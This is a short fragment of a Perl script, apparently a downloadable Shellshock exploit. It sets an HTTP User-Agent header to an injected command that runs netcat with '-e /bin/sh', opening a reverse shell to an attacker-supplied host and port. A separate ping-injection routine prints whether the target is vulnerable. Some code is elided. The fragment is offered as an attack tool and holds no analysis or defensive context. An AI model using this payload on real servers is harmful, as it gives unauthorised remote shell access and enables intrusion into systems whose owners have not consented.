Select Code to Download

$ua = new LWP::UserAgent;
$ua->agent("$Inject; nc $bip $bport -e /bin/sh'");
...
$code = $response->code;
$headers = $response->headers_as_string;
$body =  $response->content;

sub PingInject{
$url = "$target";
...
  print "[-] Shellshock Ping Injection was not injected successfully! 
+(Not Vulnerable!) \n";
}
}